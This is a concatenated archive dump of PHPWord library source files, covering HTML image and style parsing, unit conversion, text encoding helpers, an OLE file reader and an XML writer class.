                                        $style['hPosRelTo'] = \PhpOffice\PhpWord\Style\Image::POS_RELTO_MARGIN; // inner section area
                                        $style['pos'] = \PhpOffice\PhpWord\Style\Image::POS_RELATIVE;
                                        $style['wrap'] = \PhpOffice\PhpWord\Style\Image::WRAP_TIGHT;
                                        $style['overlap'] = true;
                                    }

                                    break;
                            }
                        }
                    }

                    break;
            }
        }
        $originSrc = $src;
        if (strpos($src, 'data:image') !== false) {
            $tmpDir = Settings::getTempDir() . '/';

            $match = [];
            preg_match('/data:image\/(\w+);base64,(.+)/', $src, $match);

            $src = $imgFile = $tmpDir . uniqid() . '.' . $match[1];

            $ifp = fopen($imgFile, 'wb');

            if ($ifp !== false) {
                fwrite($ifp, base64_decode($match[2]));
                fclose($ifp);
            }
        }
        $src = urldecode($src);

        if (!is_file($src)
            && null !== self::$options
            && isset(self::$options['IMG_SRC_SEARCH'], self::$options['IMG_SRC_REPLACE'])
        ) {
            $src = str_replace(self::$options['IMG_SRC_SEARCH'], self::$options['IMG_SRC_REPLACE'], $src);
        }

        if (!is_file($src)) {
            if ($imgBlob = @file_get_contents($src)) {
                $tmpDir = Settings::getTempDir() . '/';
                $match = [];
                preg_match('/.+\.(\w+)$/', $src, $match);
                $src = $tmpDir . uniqid();
                if (isset($match[1])) {
                    $src .= '.' . $match[1];
                }

                $ifp = fopen($src, 'wb');

                if ($ifp !== false) {
                    fwrite($ifp, $imgBlob);
                    fclose($ifp);
                }
            }
        }

        if (is_file($src)) {
            $newElement = $element->addImage($src, $style);
        } else {
            throw new Exception("Could not load image $originSrc");
        }

        return $newElement;
    }

    /**
     * Transforms a CSS border style into a word border style.
     *
     * @param string $cssBorderStyle
     *
     * @return null|string
     */
    protected static function mapBorderStyle($cssBorderStyle)
    {
        switch ($cssBorderStyle) {
            case 'none':
            case 'dashed':
            case 'dotted':
            case 'double':
                return $cssBorderStyle;
            default:
                return 'single';
        }
    }

    protected static function mapBorderColor(&$styles, $cssBorderColor): void
    {
        $numColors = substr_count($cssBorderColor, '#');
        if ($numColors === 1) {
            $styles['borderColor'] = trim($cssBorderColor, '#');
        } elseif ($numColors > 1) {
            $colors = explode(' ', $cssBorderColor);
            $borders = ['borderTopColor', 'borderRightColor', 'borderBottomColor', 'borderLeftColor'];
            for ($i = 0; $i < min(4, $numColors, count($colors)); ++$i) {
                $styles[$borders[$i]] = trim($colors[$i], '#');
            }
        }
    }

    /**
     * Transforms a HTML/CSS alignment into a \PhpOffice\PhpWord\SimpleType\Jc.
     *
     * @param string $cssAlignment
     * @param bool $bidi
     *
     * @return null|string
     */
    protected static function mapAlign($cssAlignment, $bidi)
    {
        switch ($cssAlignment) {
            case 'right':
                return $bidi ? Jc::START : Jc::END;
            case 'center':
                return Jc::CENTER;
            case 'justify':
                return Jc::BOTH;
            default:
                return $bidi ? Jc::END : Jc::START;
        }
    }

    /**
     * Transforms a HTML/CSS vertical alignment.
     *
     * @param string $alignment
     *
     * @return null|string
     */
    protected static function mapAlignVertical($alignment)
    {
        $alignment = strtolower($alignment);
        switch ($alignment) {
            case 'top':
            case 'baseline':
            case 'bottom':
                return $alignment;
            case 'middle':
                return 'center';
            case 'sub':
                return 'bottom';
            case 'text-top':
            case 'baseline':
                return 'top';
            default:
                // @discuss - which one should apply:
                // - Word uses default vert. alignment: top
                // - all browsers use default vert. alignment: middle
                // Returning empty string means attribute wont be set so use Word default (top).
                return '';
        }
    }

    /**
     * Map list style for ordered list.
     *
     * @param string $cssListType
     */
    protected static function mapListType($cssListType)
    {
        switch ($cssListType) {
            case 'a':
                return NumberFormat::LOWER_LETTER; // a, b, c, ..
            case 'A':
                return NumberFormat::UPPER_LETTER; // A, B, C, ..
            case 'i':
                return NumberFormat::LOWER_ROMAN; // i, ii, iii, iv, ..
            case 'I':
                return NumberFormat::UPPER_ROMAN; // I, II, III, IV, ..
            case '1':
            default:
                return NumberFormat::DECIMAL; // 1, 2, 3, ..
        }
    }

    /**
     * Parse line break.
     *
     * @param \PhpOffice\PhpWord\Element\AbstractContainer $element
     */
    protected static function parseLineBreak($element): void
    {
        $element->addTextBreak();
    }

    /**
     * Parse link node.
     *
     * @param DOMNode $node
     * @param \PhpOffice\PhpWord\Element\AbstractContainer $element
     * @param array $styles
     */
    protected static function parseLink($node, $element, &$styles)
    {
        $target = null;
        foreach ($node->attributes as $attribute) {
            switch ($attribute->name) {
                case 'href':
                    $target = $attribute->value;

                    break;
            }
        }
        $styles['font'] = self::parseInlineStyle($node, $styles['font']);

        if (empty($target)) {
            $target = '#';
        }

        if (strpos($target, '#') === 0 && strlen($target) > 1) {
            return $element->addLink(substr($target, 1), $node->textContent, $styles['font'], $styles['paragraph'], true);
        }

        return $element->addLink($target, $node->textContent, $styles['font'], $styles['paragraph']);
    }

    /**
     * Render horizontal rule
     * Note: Word rule is not the same as HTML's <hr> since it does not support width and thus neither alignment.
     *
     * @param DOMNode $node
     * @param \PhpOffice\PhpWord\Element\AbstractContainer $element
     */
    protected static function parseHorizRule($node, $element): void
    {
        $styles = self::parseInlineStyle($node);

        // <hr> is implemented as an empty paragraph - extending 100% inside the section
        // Some properties may be controlled, e.g. <hr style="border-bottom: 3px #DDDDDD solid; margin-bottom: 0;">

        $fontStyle = $styles + ['size' => 3];

        $paragraphStyle = $styles + [
            'lineHeight' => 0.25, // multiply default line height - e.g. 1, 1.5 etc
            'spacing' => 0, // twip
            'spaceBefore' => 120, // twip, 240/2 (default line height)
            'spaceAfter' => 120, // twip
            'borderBottomSize' => empty($styles['line-height']) ? 1 : $styles['line-height'],
            'borderBottomColor' => empty($styles['color']) ? '000000' : $styles['color'],
            'borderBottomStyle' => 'single', // same as "solid"
        ];

        $element->addText('', $fontStyle, $paragraphStyle);

        // Notes: <hr/> cannot be:
        // - table - throws error "cannot be inside textruns", e.g. lists
        // - line - that is a shape, has different behaviour
        // - repeated text, e.g. underline "_", because of unpredictable line wrapping
    }

    private static function convertRgb(string $rgb): string
    {
        if (preg_match(self::RGB_REGEXP, $rgb, $matches) === 1) {
            return sprintf('%02X%02X%02X', $matches[1], $matches[2], $matches[3]);
        }

        return trim($rgb, '# ');
    }
}
vendor/phpoffice/phpword/src/PhpWord/Shared/Drawing.php000066600000012536151150442730017170 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Shared;

/**
 * Drawing.
 */
class Drawing
{
    const DPI_96 = 96;

    /**
     * Convert pixels to EMU.
     *
     * @param  int $pValue Value in pixels
     *
     * @return int
     */
    public static function pixelsToEmu($pValue = 0)
    {
        return round($pValue * 9525);
    }

    /**
     * Convert EMU to pixels.
     *
     * @param  int $pValue Value in EMU
     *
     * @return int
     */
    public static function emuToPixels($pValue = 0)
    {
        if ($pValue == 0) {
            return 0;
        }

        return round($pValue / 9525);
    }

    /**
     * Convert pixels to points.
     *
     * @param  int $pValue Value in pixels
     *
     * @return float
     */
    public static function pixelsToPoints($pValue = 0)
    {
        return $pValue * 0.67777777;
    }

    /**
     * Convert points width to centimeters.
     *
     * @param  int $pValue Value in points
     *
     * @return float
     */
    public static function pointsToCentimeters($pValue = 0)
    {
        if ($pValue == 0) {
            return 0;
        }

        return (($pValue * 1.333333333) / self::DPI_96) * 2.54;
    }

    /**
     * Convert points width to pixels.
     *
     * @param  int $pValue Value in points
     *
     * @return float
     */
    public static function pointsToPixels($pValue = 0)
    {
        if ($pValue == 0) {
            return 0;
        }

        return $pValue * 1.333333333;
    }

    /**
     * Convert pixels to centimeters.
     *
     * @param  int $pValue Value in pixels
     *
     * @return float
     */
    public static function pixelsToCentimeters($pValue = 0)
    {
        //return $pValue * 0.028;
        return ($pValue / self::DPI_96) * 2.54;
    }

    /**
     * Convert centimeters width to pixels.
     *
     * @param  int $pValue Value in centimeters
     *
     * @return float
     */
    public static function centimetersToPixels($pValue = 0)
    {
        if ($pValue == 0) {
            return 0;
        }

        return ($pValue / 2.54) * self::DPI_96;
    }

    /**
     * Convert degrees to angle.
     *
     * @param  int $pValue Degrees
     *
     * @return int
     */
    public static function degreesToAngle($pValue = 0)
    {
        return (int) round($pValue * 60000);
    }

    /**
     * Convert angle to degrees.
     *
     * @param  int $pValue Angle
     *
     * @return int
     */
    public static function angleToDegrees($pValue = 0)
    {
        if ($pValue == 0) {
            return 0;
        }

        return round($pValue / 60000);
    }

    /**
     * Convert centimeters width to twips.
     *
     * @param int $pValue
     *
     * @return float
     */
    public static function centimetersToTwips($pValue = 0)
    {
        if ($pValue == 0) {
            return 0;
        }

        return $pValue * 566.928;
    }

    /**
     * Convert twips width to centimeters.
     *
     * @param int $pValue
     *
     * @return float
     */
    public static function twipsToCentimeters($pValue = 0)
    {
        if ($pValue == 0) {
            return 0;
        }

        return $pValue / 566.928;
    }

    /**
     * Convert inches width to twips.
     *
     * @param int $pValue
     *
     * @return float
     */
    public static function inchesToTwips($pValue = 0)
    {
        if ($pValue == 0) {
            return 0;
        }

        return $pValue * 1440;
    }

    /**
     * Convert twips width to inches.
     *
     * @param int $pValue
     *
     * @return float
     */
    public static function twipsToInches($pValue = 0)
    {
        if ($pValue == 0) {
            return 0;
        }

        return $pValue / 1440;
    }

    /**
     * Convert twips width to pixels.
     *
     * @param int $pValue
     *
     * @return float
     */
    public static function twipsToPixels($pValue = 0)
    {
        if ($pValue == 0) {
            return 0;
        }

        return round($pValue / 15.873984);
    }

    /**
     * Convert HTML hexadecimal to RGB.
     *
     * @param string $pValue HTML Color in hexadecimal
     *
     * @return array|false Value in RGB
     */
    public static function htmlToRGB($pValue)
    {
        if ($pValue[0] == '#') {
            $pValue = substr($pValue, 1);
        }

        if (strlen($pValue) == 6) {
            [$colorR, $colorG, $colorB] = [$pValue[0] . $pValue[1], $pValue[2] . $pValue[3], $pValue[4] . $pValue[5]];
        } elseif (strlen($pValue) == 3) {
            [$colorR, $colorG, $colorB] = [$pValue[0] . $pValue[0], $pValue[1] . $pValue[1], $pValue[2] . $pValue[2]];
        } else {
            return false;
        }

        $colorR = hexdec($colorR);
        $colorG = hexdec($colorG);
        $colorB = hexdec($colorB);

        return [$colorR, $colorG, $colorB];
    }
}
vendor/phpoffice/phpword/src/PhpWord/Shared/Text.php000066600000015575151150442730016527 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Shared;

/**
 * Text.
 */
class Text
{
    /**
     * Control characters array.
     *
     * @var string[]
     */
    private static $controlCharacters = [];

    /**
     * Build control characters array.
     */
    private static function buildControlCharacters(): void
    {
        for ($i = 0; $i <= 19; ++$i) {
            if ($i != 9 && $i != 10 && $i != 13) {
                $find = '_x' . sprintf('%04s', strtoupper(dechex($i))) . '_';
                $replace = chr($i);
                self::$controlCharacters[$find] = $replace;
            }
        }
    }

    /**
     * Convert from PHP control character to OpenXML escaped control character.
     *
     * Excel 2007 team:
     * ----------------
     * That's correct, control characters are stored directly in the shared-strings table.
     * We do encode characters that cannot be represented in XML using the following escape sequence:
     * _xHHHH_ where H represents a hexadecimal character in the character's value...
     * So you could end up with something like _x0008_ in a string (either in a cell value (<v>)
     * element or in the shared string <t> element.
     *
     * @param  string $value Value to escape
     *
     * @return string
     */
    public static function controlCharacterPHP2OOXML($value = '')
    {
        if (empty(self::$controlCharacters)) {
            self::buildControlCharacters();
        }

        return str_replace(array_values(self::$controlCharacters), array_keys(self::$controlCharacters), $value);
    }

    /**
     * Return a number formatted for being integrated in xml files.
     *
     * @param float $number
     * @param int $decimals
     *
     * @return string
     */
    public static function numberFormat($number, $decimals)
    {
        return number_format($number, $decimals, '.', '');
    }

    /**
     * @param int $dec
     *
     * @see http://stackoverflow.com/a/7153133/2235790
     *
     * @author velcrow
     *
     * @return string
     */
    public static function chr($dec)
    {
        if ($dec <= 0x7F) {
            return chr($dec);
        }
        if ($dec <= 0x7FF) {
            return chr(($dec >> 6) + 192) . chr(($dec & 63) + 128);
        }
        if ($dec <= 0xFFFF) {
            return chr(($dec >> 12) + 224) . chr((($dec >> 6) & 63) + 128) . chr(($dec & 63) + 128);
        }
        if ($dec <= 0x1FFFFF) {
            return chr(($dec >> 18) + 240) . chr((($dec >> 12) & 63) + 128) . chr((($dec >> 6) & 63) + 128) . chr(($dec & 63) + 128);
        }

        return '';
    }

    /**
     * Convert from OpenXML escaped control character to PHP control character.
     *
     * @param string $value Value to unescape
     *
     * @return string
     */
    public static function controlCharacterOOXML2PHP($value = '')
    {
        if (empty(self::$controlCharacters)) {
            self::buildControlCharacters();
        }

        return str_replace(array_keys(self::$controlCharacters), array_values(self::$controlCharacters), $value);
    }

    /**
     * Check if a string contains UTF-8 data.
     *
     * @param string $value
     *
     * @return bool
     */
    public static function isUTF8($value = '')
    {
        return is_string($value) && ($value === '' || preg_match('/^./su', $value) == 1);
    }

    /**
     * Return UTF8 encoded value.
     *
     * @param null|string $value
     *
     * @return ?string
     */
    public static function toUTF8($value = '')
    {
        if (null !== $value && !self::isUTF8($value)) {
            // PHP8.2 : utf8_encode is deprecated, but mb_convert_encoding always usable
            $value = (function_exists('mb_convert_encoding')) ? mb_convert_encoding($value, 'UTF-8', 'ISO-8859-1') : utf8_encode($value);
        }

        return $value;
    }

    /**
     * Returns unicode from UTF8 text.
     *
     * The function is splitted to reduce cyclomatic complexity
     *
     * @param string $text UTF8 text
     *
     * @return string Unicode text
     *
     * @since 0.11.0
     */
    public static function toUnicode($text)
    {
        return self::unicodeToEntities(self::utf8ToUnicode($text));
    }

    /**
     * Returns unicode array from UTF8 text.
     *
     * @param string $text UTF8 text
     *
     * @return array
     *
     * @since 0.11.0
     * @see http://www.randomchaos.com/documents/?source=php_and_unicode
     */
    public static function utf8ToUnicode($text)
    {
        $unicode = [];
        $values = [];
        $lookingFor = 1;

        // Gets unicode for each character
        for ($i = 0; $i < strlen($text); ++$i) {
            $thisValue = ord($text[$i]);
            if ($thisValue < 128) {
                $unicode[] = $thisValue;
            } else {
                if (count($values) == 0) {
                    $lookingFor = $thisValue < 224 ? 2 : 3;
                }
                $values[] = $thisValue;
                if (count($values) == $lookingFor) {
                    if ($lookingFor == 3) {
                        $number = (($values[0] % 16) * 4096) + (($values[1] % 64) * 64) + ($values[2] % 64);
                    } else {
                        $number = (($values[0] % 32) * 64) + ($values[1] % 64);
                    }
                    $unicode[] = $number;
                    $values = [];
                    $lookingFor = 1;
                }
            }
        }

        return $unicode;
    }

    /**
     * Returns entites from unicode array.
     *
     * @param array $unicode
     *
     * @return string
     *
     * @since 0.11.0
     * @see http://www.randomchaos.com/documents/?source=php_and_unicode
     */
    private static function unicodeToEntities($unicode)
    {
        $entities = '';

        foreach ($unicode as $value) {
            if ($value != 65279) {
                $entities .= $value > 127 ? '\uc0{\u' . $value . '}' : chr($value);
            }
        }

        return $entities;
    }

    /**
     * Return name without underscore for < 0.10.0 variable name compatibility.
     *
     * @param string $value
     *
     * @return string
     */
    public static function removeUnderscorePrefix($value)
    {
        if (null !== $value) {
            if (substr($value, 0, 1) == '_') {
                $value = substr($value, 1);
            }
        }

        return $value;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Shared/OLERead.php000066600000026276151150442730017016 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 * @copyright   2010-2018 PHPWord contributors
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Shared;

use PhpOffice\PhpWord\Exception\Exception;

defined('IDENTIFIER_OLE') ||
define('IDENTIFIER_OLE', pack('CCCCCCCC', 0xd0, 0xcf, 0x11, 0xe0, 0xa1, 0xb1, 0x1a, 0xe1));

class OLERead
{
    private $data = '';

    // OLE identifier
    const IDENTIFIER_OLE = IDENTIFIER_OLE;

    // Size of a sector = 512 bytes
    const BIG_BLOCK_SIZE = 0x200;

    // Size of a short sector = 64 bytes
    const SMALL_BLOCK_SIZE = 0x40;

    // Size of a directory entry always = 128 bytes
    const PROPERTY_STORAGE_BLOCK_SIZE = 0x80;

    // Minimum size of a standard stream = 4096 bytes, streams smaller than this are stored as short streams
    const SMALL_BLOCK_THRESHOLD = 0x1000;

    // header offsets
    const NUM_BIG_BLOCK_DEPOT_BLOCKS_POS = 0x2c;
    const ROOT_START_BLOCK_POS = 0x30;
    const SMALL_BLOCK_DEPOT_BLOCK_POS = 0x3c;
    const EXTENSION_BLOCK_POS = 0x44;
    const NUM_EXTENSION_BLOCK_POS = 0x48;
    const BIG_BLOCK_DEPOT_BLOCKS_POS = 0x4c;

    // property storage offsets (directory offsets)
    const SIZE_OF_NAME_POS = 0x40;
    const TYPE_POS = 0x42;
    const START_BLOCK_POS = 0x74;
    const SIZE_POS = 0x78;

    public $wrkdocument = null;
    public $wrk1Table = null;
    public $wrkData = null;
    public $wrkObjectPool = null;
    public $summaryInformation = null;
    public $docSummaryInfos = null;
    public $numBigBlockDepotBlocks = null;
    public $rootStartBlock = null;
    public $sbdStartBlock = null;
    public $extensionBlock = null;
    public $numExtensionBlocks = null;
    public $bigBlockChain = null;
    public $smallBlockChain = null;	
    public $entry = null;	
    public $rootentry = null;
    public $wrkObjectPoolelseif = null;
    public $props = array();	

    /**
     * Read the file
     *
     * @param $sFileName string Filename
     *
     * @throws Exception
     */
    public function read($sFileName)
    {
        // Check if file exists and is readable
        if (!is_readable($sFileName)) {
            throw new Exception('Could not open ' . $sFileName . ' for reading! File does not exist, or it is not readable.');
        }

        // Get the file identifier
        // Don't bother reading the whole file until we know it's a valid OLE file
        $this->data = file_get_contents($sFileName, false, null, 0, 8);

        // Check OLE identifier
        if ($this->data != self::IDENTIFIER_OLE) {
            throw new Exception('The filename ' . $sFileName . ' is not recognised as an OLE file');
        }

        // Get the file data
        $this->data = file_get_contents($sFileName);

        // Total number of sectors used for the SAT
        $this->numBigBlockDepotBlocks = self::getInt4d($this->data, self::NUM_BIG_BLOCK_DEPOT_BLOCKS_POS);

        // SecID of the first sector of the directory stream
        $this->rootStartBlock = self::getInt4d($this->data, self::ROOT_START_BLOCK_POS);

        // SecID of the first sector of the SSAT (or -2 if not extant)
        $this->sbdStartBlock = self::getInt4d($this->data, self::SMALL_BLOCK_DEPOT_BLOCK_POS);

        // SecID of the first sector of the MSAT (or -2 if no additional sectors are used)
        $this->extensionBlock = self::getInt4d($this->data, self::EXTENSION_BLOCK_POS);

        // Total number of sectors used by MSAT
        $this->numExtensionBlocks = self::getInt4d($this->data, self::NUM_EXTENSION_BLOCK_POS);

        $bigBlockDepotBlocks = array();
        $pos = self::BIG_BLOCK_DEPOT_BLOCKS_POS;

        $bbdBlocks = $this->numBigBlockDepotBlocks;

        // @codeCoverageIgnoreStart
        if ($this->numExtensionBlocks != 0) {
            $bbdBlocks = (self::BIG_BLOCK_SIZE - self::BIG_BLOCK_DEPOT_BLOCKS_POS) / 4;
        }
        // @codeCoverageIgnoreEnd

        for ($i = 0; $i < $bbdBlocks; ++$i) {
            $bigBlockDepotBlocks[$i] = self::getInt4d($this->data, $pos);
            $pos += 4;
        }

        // @codeCoverageIgnoreStart
        for ($j = 0; $j < $this->numExtensionBlocks; ++$j) {
            $pos = ($this->extensionBlock + 1) * self::BIG_BLOCK_SIZE;
            $blocksToRead = min($this->numBigBlockDepotBlocks - $bbdBlocks, self::BIG_BLOCK_SIZE / 4 - 1);

            for ($i = $bbdBlocks; $i < $bbdBlocks + $blocksToRead; ++$i) {
                $bigBlockDepotBlocks[$i] = self::getInt4d($this->data, $pos);
                $pos += 4;
            }

            $bbdBlocks += $blocksToRead;
            if ($bbdBlocks < $this->numBigBlockDepotBlocks) {
                $this->extensionBlock = self::getInt4d($this->data, $pos);
            }
        }
        // @codeCoverageIgnoreEnd

        $pos = 0;
        $this->bigBlockChain = '';
        $bbs = self::BIG_BLOCK_SIZE / 4;
        for ($i = 0; $i < $this->numBigBlockDepotBlocks; ++$i) {
            $pos = ($bigBlockDepotBlocks[$i] + 1) * self::BIG_BLOCK_SIZE;

            $this->bigBlockChain .= substr($this->data, $pos, 4 * $bbs);
            $pos += 4 * $bbs;
        }

        $pos = 0;
        $sbdBlock = $this->sbdStartBlock;
        $this->smallBlockChain = '';
        while ($sbdBlock != -2) {
            $pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE;

            $this->smallBlockChain .= substr($this->data, $pos, 4 * $bbs);
            $pos += 4 * $bbs;

            $sbdBlock = self::getInt4d($this->bigBlockChain, $sbdBlock * 4);
        }

        // read the directory stream
        $block = $this->rootStartBlock;
        $this->entry = $this->readData($block);

        $this->readPropertySets();
    }

    /**
     * Extract binary stream data
     *
     * @param mixed $stream
     * @return string
     */
    public function getStream($stream)
    {
        if ($stream === null) {
            return null;
        }

        $streamData = '';

        if ($this->props[$stream]['size'] < self::SMALL_BLOCK_THRESHOLD) {
            $rootdata = $this->readData($this->props[$this->rootentry]['startBlock']);

            $block = $this->props[$stream]['startBlock'];

            while ($block != -2) {
                $pos = $block * self::SMALL_BLOCK_SIZE;
                $streamData .= substr($rootdata, $pos, self::SMALL_BLOCK_SIZE);

                $block = self::getInt4d($this->smallBlockChain, $block * 4);
            }

            return $streamData;
        }

        $numBlocks = $this->props[$stream]['size'] / self::BIG_BLOCK_SIZE;
        if ($this->props[$stream]['size'] % self::BIG_BLOCK_SIZE != 0) {
            ++$numBlocks;
        }

        if ($numBlocks == 0) {
            return ''; // @codeCoverageIgnore
        }

        $block = $this->props[$stream]['startBlock'];

        while ($block != -2) {
            $pos = ($block + 1) * self::BIG_BLOCK_SIZE;
            $streamData .= substr($this->data, $pos, self::BIG_BLOCK_SIZE);
            $block = self::getInt4d($this->bigBlockChain, $block * 4);
        }

        return $streamData;
    }

    /**
     * Read a standard stream (by joining sectors using information from SAT)
     *
     * @param int $blSectorId Sector ID where the stream starts
     * @return string Data for standard stream
     */
    private function readData($blSectorId)
    {
        $block = $blSectorId;
        $data = '';

        while ($block != -2) {
            $pos = ($block + 1) * self::BIG_BLOCK_SIZE;
            $data .= substr($this->data, $pos, self::BIG_BLOCK_SIZE);
            $block = self::getInt4d($this->bigBlockChain, $block * 4);
        }

        return $data;
    }

    /**
     * Read entries in the directory stream.
     */
    private function readPropertySets()
    {
        $offset = 0;

        // loop through entires, each entry is 128 bytes
        $entryLen = strlen($this->entry);
        while ($offset < $entryLen) {
            // entry data (128 bytes)
            $data = substr($this->entry, $offset, self::PROPERTY_STORAGE_BLOCK_SIZE);

            // size in bytes of name
            $nameSize = ord($data[self::SIZE_OF_NAME_POS]) | (ord($data[self::SIZE_OF_NAME_POS + 1]) << 8);

            // type of entry
            $type = ord($data[self::TYPE_POS]);

            // sectorID of first sector or short sector, if this entry refers to a stream (the case with workbook)
            // sectorID of first sector of the short-stream container stream, if this entry is root entry
            $startBlock = self::getInt4d($data, self::START_BLOCK_POS);

            $size = self::getInt4d($data, self::SIZE_POS);

            $name = str_replace("\x00", '', substr($data, 0, $nameSize));

            $this->props[] = array(
                'name'       => $name,
                'type'       => $type,
                'startBlock' => $startBlock,
                'size'       => $size, );

            // tmp helper to simplify checks
            $upName = strtoupper($name);

            // Workbook directory entry (BIFF5 uses Book, BIFF8 uses Workbook)
            // print_r($upName.PHP_EOL);
            if (($upName === 'WORDDOCUMENT')) {
                $this->wrkdocument = count($this->props) - 1;
            } elseif ($upName === '1TABLE') {
                $this->wrk1Table = count($this->props) - 1;
            } elseif ($upName === 'DATA') {
                $this->wrkData = count($this->props) - 1;
            } elseif ($upName === 'OBJECTPOOL') {
                $this->wrkObjectPoolelseif = count($this->props) - 1;
            } elseif ($upName === 'ROOT ENTRY' || $upName === 'R') {
                $this->rootentry = count($this->props) - 1;
            }

            // Summary information
            if ($name == chr(5) . 'SummaryInformation') {
                $this->summaryInformation = count($this->props) - 1;
            }

            // Additional Document Summary information
            if ($name == chr(5) . 'DocumentSummaryInformation') {
                $this->docSummaryInfos = count($this->props) - 1;
            }

            $offset += self::PROPERTY_STORAGE_BLOCK_SIZE;
        }
    }

    /**
     * Read 4 bytes of data at specified position
     *
     * @param string $data
     * @param int $pos
     * @return int
     */
    private static function getInt4d($data, $pos)
    {
        // FIX: represent numbers correctly on 64-bit system
        // http://sourceforge.net/tracker/index.php?func=detail&aid=1487372&group_id=99160&atid=623334
        // Hacked by Andreas Rehm 2006 to ensure correct result of the <<24 block on 32 and 64bit systems
        $or24 = ord($data[$pos + 3]);
        if ($or24 >= 128) {
            // negative number
            $ord24 = -abs((256 - $or24) << 24);
        } else {
            $ord24 = ($or24 & 127) << 24;
        }

        return ord($data[$pos]) | (ord($data[$pos + 1]) << 8) | (ord($data[$pos + 2]) << 16) | $ord24;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Shared/XMLWriter.php000066600000012275151150442730017432 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Shared;

use Exception;
use ReturnTypeWillChange;

/**
 * XMLWriter.
 *
 * @method bool endElement()
 * @method mixed flush(bool $empty = null)
 * @method bool openMemory()
 * @method string outputMemory(bool $flush = null)
 * @method bool setIndent(bool $indent)
 * @method bool startDocument(string $version = 1.0, string $encoding = null, string $standalone = null)
 * @method bool startElement(string $name)
 * @method bool text(string $content)
 * @method bool writeCData(string $content)
 * @method bool writeComment(string $content)
 * @method bool writeElement(string $name, string $content = null)
 * @method bool writeRaw(string $content)
 */
class XMLWriter extends \XMLWriter
{
    /** Temporary storage method */
    const STORAGE_MEMORY = 1;
    const STORAGE_DISK = 2;

    /**
     * Temporary filename.
     *
     * @var string
     */
    private $tempFileName = '';

    /**
     * Create a new \PhpOffice\PhpWord\Shared\XMLWriter instance.
     *
     * @param int $pTemporaryStorage Temporary storage location
     * @param string $pTemporaryStorageDir Temporary storage folder
     * @param bool $compatibility
     */
    public function __construct($pTemporaryStorage = self::STORAGE_MEMORY, $pTemporaryStorageDir = null, $compatibility = false)
    {
        // Open temporary storage
        if ($pTemporaryStorage == self::STORAGE_MEMORY) {
            $this->openMemory();
        } else {
            if (!$pTemporaryStorageDir || !is_dir($pTemporaryStorageDir)) {
                $pTemporaryStorageDir = sys_get_temp_dir();
            }
            // Create temporary filename
            $this->tempFileName = @tempnam($pTemporaryStorageDir, 'xml');

            // Open storage
            $this->openUri($this->tempFileName);
        }

        if ($compatibility) {
            $this->setIndent(false);
            $this->setIndentString('');
        } else {
            $this->setIndent(true);
            $this->setIndentString('  ');
        }
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        // Unlink temporary files
        if (empty($this->tempFileName)) {
            return;
        }
        if (PHP_OS != 'WINNT' && @unlink($this->tempFileName) === false) {
            throw new Exception('The file ' . $this->tempFileName . ' could not be deleted.');
        }
    }

    /**
     * Get written data.
     *
     * @return string
     */
    public function getData()
    {
        if ($this->tempFileName == '') {
            return $this->outputMemory(true);
        }

        $this->flush();

        return file_get_contents($this->tempFileName);
    }

    /**
     * Write simple element and attribute(s) block.
     *
     * There are two options:
     * 1. If the `$attributes` is an array, then it's an associative array of attributes
     * 2. If not, then it's a simple attribute-value pair
     *
     * @param string $element
     * @param array|string $attributes
     * @param string $value
     */
    public function writeElementBlock($element, $attributes, $value = null): void
    {
        $this->startElement($element);
        if (!is_array($attributes)) {
            $attributes = [$attributes => $value];
        }
        foreach ($attributes as $attribute => $value) {
            $this->writeAttribute($attribute, $value);
        }
        $this->endElement();
    }

    /**
     * Write element if ...
     *
     * @param bool $condition
     * @param string $element
     * @param string $attribute
     * @param mixed $value
     */
    public function writeElementIf($condition, $element, $attribute = null, $value = null): void
    {
        if ($condition == true) {
            if (null === $attribute) {
                $this->writeElement($element, $value);
            } else {
                $this->startElement($element);
                $this->writeAttribute($attribute, $value);
                $this->endElement();
            }
        }
    }

    /**
     * Write attribute if ...
     *
     * @param bool $condition
     * @param string $attribute
     * @param mixed $value
     */
    public function writeAttributeIf($condition, $attribute, $value): void
    {
        if ($condition == true) {
            $this->writeAttribute($attribute, $value);
        }
    }

    /**
     * @param string $name
     * @param mixed $value
     *
     * @return bool
     */
    #[ReturnTypeWillChange]
    public function writeAttribute($name, $value)
    {
        if (is_float($value)) {
            $value = json_encode($value);
        }

        return parent::writeAttribute($name, $value ?? '');
    }
}
